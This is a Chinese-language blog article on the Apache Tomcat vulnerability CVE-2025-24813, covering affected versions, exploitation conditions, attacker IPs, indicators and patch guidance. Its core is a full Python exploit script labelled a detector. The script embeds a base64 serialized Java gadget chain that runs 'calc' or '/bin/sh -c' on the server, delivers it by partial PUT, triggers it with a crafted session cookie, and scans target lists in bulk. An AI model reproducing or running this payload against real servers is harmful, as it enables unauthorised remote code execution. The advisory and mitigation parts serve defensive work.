CVE-2025-24813 漏洞全解析|Apache Tomcat 关键路径绕过与RCE

CVE-2025-24813 漏洞全解析|Apache Tomcat 关键路径绕过与RCE

作者:Factor .Poc作者:iSee857

一、漏洞概述

CVE-2025-24813 是 Apache Tomcat 中一个关键的路径等效性(Path Equivalence)漏洞,允许未经身份验证的远程攻击者在特定配置下实现远程代码执行(RCE)、读取敏感文件,甚至篡改文件内容。该漏洞已在野外被观察到存在实际利用行为,影响范围广泛。


二、影响版本

  • Tomcat 11.0.0-M1 至 11.0.2(修复于 11.0.3)
  • Tomcat 10.1.0-M1 至 10.1.34(修复于 10.1.35)
  • Tomcat 9.0.0.M1 至 9.0.98(修复于 9.0.99)
  • Tomcat 8.5.x(Insikt Group 发现 8.5.0 至 8.5.98 和 8.5.100 也受影响,8.5.99 是唯一不受影响版本)

三、漏洞原理

该漏洞的核心是 Tomcat 对部分 PUT 请求(Partial PUT)和文件路径解析的处理逻辑存在缺陷,攻击者可以通过构造特定请求绕过默认中间件验证机制,从而触发远程代码执行或敏感文件操作。

🎯 利用流程(两步):

  1. 攻击者构造一个 Base64 编码的 Java 反序列化 Payload ,通过 PUT 请求提交至服务端。
  2. 随后通过一个附带特制 JSESSIONID 的 GET 请求触发服务器反序列化该 Payload,最终执行任意代码。

四、漏洞利用条件

远程代码执行(RCE)需要满足以下条件:

  • 默认 Servlet 具备写权限(默认是关闭的)
  • 启用 Partial PUT(默认开启)
  • 应用使用基于文件的 Session 持久化,且存储位置为默认目录
  • 应用中包含可被反序列化利用的第三方库(如 fastjson, commons-collections 等)

此外,如果配置允许,攻击者还可以:

  • 查看敏感安全文件内容
  • 注入数据至敏感文件

这些额外风险成立的前提:

  • 上传路径在可公开访问目录之下
  • 攻击者知道目标上传文件名
  • 上传通过 Partial PUT 实现

注:虽然这些条件组合在一起并不常见,但确实存在大量线上实例仍配置为可被利用状态。


五、在野利用情况与威胁分析

🌐 已知恶意攻击者 IP(来自 Greynoise 数据):

恶意IP地址 来源地 攻击目标国家
203.160.68.24 中国香港 美国
176.65.138.172 德国 日本、新加坡、印尼、台湾等
38.126.114.186 美国 印度、墨西哥、美国
188.213.161.98 意大利 日本、韩国
140.143.182.115 中国 澳大利亚、墨西哥等
196.240.54.120 拉脱维亚 美国

全球范围内,Shodan 扫描数据显示,约有 378,444 台暴露的 Tomcat 实例可能受到影响,主要分布在中国、美国、摩洛哥和巴西等地。

🔍 指纹与攻击迹象(IoC):

  • Web 目录中出现未知 .jsp 文件
  • Web 日志中存在异常 PUT 请求记录
  • 外部 GET/POST 请求访问恶意 JSP
  • WAF 报告触发"未授权上传"规则

六、PoC 与复现情况

使用方式:

批量检测支持多线程:

python poc.py -l url.txt -t 5

单个检测:

python poc.py -u your-ip

Poc引用作者:iSee857

引用至:https://pc.fenchuan8.com/#/index?forum=101158&yqm=DGR4X

Poc复现:

bash 复制代码
import argparse
import base64
import sys
import requests
from concurrent.futures import ThreadPoolExecutor

COLOR = {
    "RED": "\033[91m",
    "GREEN": "\033[92m",
    "YELLOW": "\033[93m",
    "BLUE": "\033[94m",
    "PURPLE": "\033[95m",
    "CYAN": "\033[96m",
    "RESET": "\033[0m"
}

BANNER = rf"""
{COLOR['PURPLE']}
  ___  _ __   ___ | |_ ___  ___| |_ 
 / _ \| '_ \ / _ \| __/ _ \/ __| __|
| (_) | |_) | (_) | ||  __/\__ \ |_ 
 \___/| .__/ \___/ \__\___||___/\__|
      |_| {COLOR['CYAN']}Apache Tomcat RCE Detector
{COLOR['RED']}CVE-2025-24813 {COLOR['RESET']}@Author: iSee857
"""

# Payload
PAYLOAD = base64.b64decode(
    "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"
)

def print_vulnerable(target):
    print(f"\n{COLOR['RED']}[!] 目标存在漏洞: {target}")
    print(f"[+] CVE-2025-24813 Apache Tomcat 远程代码执行漏洞{COLOR['RESET']}\n")

def check_target(target):
    try:
        host, port = target.split(":")
        port = int(port)
    except:
        print(f"{COLOR['YELLOW']}[!] 无效目标格式: {target}{COLOR['RESET']}")
        return

    base_url = f"http://{host}:{port}"
    put_url = f"{base_url}/iSee857/session"
    
    try:

        put_response = requests.put(
            put_url,
            headers={
                "Host": f"{host}:{port}",
                "Content-Length": "10000",
                "Content-Range": "bytes 0-1000/1200"
            },
            data=PAYLOAD,
            verify=False,
            timeout=10
        )


        if put_response.status_code == 409:
            get_response = requests.get(
                base_url,
                headers={"Cookie": "JSESSIONID=.iSee857"},
                verify=False,
                timeout=10
            )

            if get_response.status_code == 500:
                print_vulnerable(target)
                return True

        print(f"{COLOR['GREEN']}[+] {target} 未检测到漏洞{COLOR['RESET']}")
        return False

    except requests.exceptions.RequestException as e:
        print(f"{COLOR['YELLOW']}[!] {target} 检测失败: {str(e)}{COLOR['RESET']}")
        return False
    except Exception as e:
        print(f"{COLOR['RED']}[!] {target} 发生错误: {str(e)}{COLOR['RESET']}")
        return False

def main():
    print(BANNER)
    
    parser = argparse.ArgumentParser(description='Apache Tomcat RCE检测工具')
    parser.add_argument('-u', '--url', help='单个目标 (格式: ip:port)')
    parser.add_argument('-l', '--list', help='包含多个目标的文件')
    parser.add_argument('-t', '--threads', type=int, default=5, 
                       help='并发线程数 (默认: 5)')
    args = parser.parse_args()

    targets = []
    if args.url:
        targets.append(args.url)
    elif args.list:
        try:
            with open(args.list, 'r') as f:
                targets = [line.strip() for line in f if line.strip()]
        except FileNotFoundError:
            print(f"{COLOR['RED']}[!] 文件不存在: {args.list}{COLOR['RESET']}")
            sys.exit(1)
    else:
        parser.print_help()
        sys.exit(1)

    print(f"{COLOR['CYAN']}[*] 开始检测,共 {len(targets)} 个目标...{COLOR['RESET']}")

    with ThreadPoolExecutor(max_workers=args.threads) as executor:
        results = executor.map(check_target, targets)

    vulnerable_count = sum(1 for result in results if result)
    print(f"\n{COLOR['PURPLE']}[*] 检测完成,共发现 {vulnerable_count} 个存在漏洞的目标{COLOR['RESET']}")

if __name__ == "__main__":
    main()

七、防护建议

✅ 官方修复版本:

  • 升级至:11.0.3 / 10.1.35 / 9.0.99
  • 8.5.x 用户建议迁移至受支持分支,避免继续使用 EoL 版本

✅ 临时缓解策略:

  • 显式关闭 default servlet 的写权限:

    <init-param>

    <param-name>readonly</param-name>

    <param-value>true</param-value>

    </init-param>

  • 在 Web 应用中禁用 Partial PUT 请求(使用 WAF 拦截或 nginx 过滤)

  • 清理 webapps/ROOT/ 路径下的未授权文件

✅ 工具支持:

  • Insikt Group 提供 Nuclei 检测模板(可用于批量扫描)
  • Recorded Future 提供 ASI 签名规则用于攻击面定位

八、总结

CVE-2025-24813 是一次典型的"路径+反序列化+配置缺陷"复合型漏洞,表面上源于文件路径处理缺陷,实际利用则依赖于多个错误配置的叠加效应。

它提醒我们:边界可信假设失效、中间件权限设置失误、反序列化引擎暴露等老问题,在现代系统中依旧构成致命威胁

安全不仅仅是打补丁,更是对配置、逻辑与习惯的全面治理。

相关推荐
EasyControl移动设备管理1 小时前
MDM功能演示:远程锁定与数据擦除,保障企业移动设备安全
安全
安科瑞刘鸿鹏1 小时前
智能配电保护:公共建筑安全的新 “防火墙”
运维·网络·物联网·算法·安全·能源
anguruanjian9 小时前
探索安固软件:保护您的电子文档安全
安全·加密软件·安固软件·防泄密
DPLSLAB69 小时前
EAL4+ vs EAL7:高安全场景下的等级选择策略
安全
IT信息技术学习圈12 小时前
网络安全1
安全·web安全
hi星尘13 小时前
深入理解Apache Kafka
分布式·kafka·apache
世界尽头与你17 小时前
MacOS红队常用攻击命令
安全·macos·网络安全
ctrlworks19 小时前
楼宇自控系统凭何成为建筑稳定、高效、安全运行的关键
安全·楼宇自控系统厂商·ba系统厂商·康沃思物联·建筑设备管理系统
ASCO11006919 小时前
新一代物联网安防消防一体化系统平台高效统一管理-为您详细介绍
网络·安全
Web极客码20 小时前
如何通过简单步骤保护您的网站安全
服务器·网络·安全